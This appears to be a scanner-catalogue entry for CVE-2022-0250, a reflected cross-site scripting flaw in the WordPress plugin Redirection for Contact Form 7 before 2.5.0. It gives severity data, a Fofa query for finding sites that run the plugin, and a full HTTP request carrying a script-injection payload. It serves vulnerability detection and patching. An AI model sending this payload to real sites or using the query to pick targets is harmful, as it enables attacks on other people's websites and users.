| Title | Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Allows attackers to execute malicious scripts in the context of a user's browser session |
| Remediation | Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250 |
| CVSS Score | 6.1 |
| EPSS Score | 0.0312 |
| CVE ID | CVE-2022-0250 |
| CWE ID | CWE-79 |
| Fofa Query | body="/wp-content/plugins/wpcf7-redirect" |
| Tags | cve cve2022 wordpress wp wp-plugin wpcf7 contact-form7 xss vuln |
The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
GET /wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0250.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0250.pcap
N/AN/A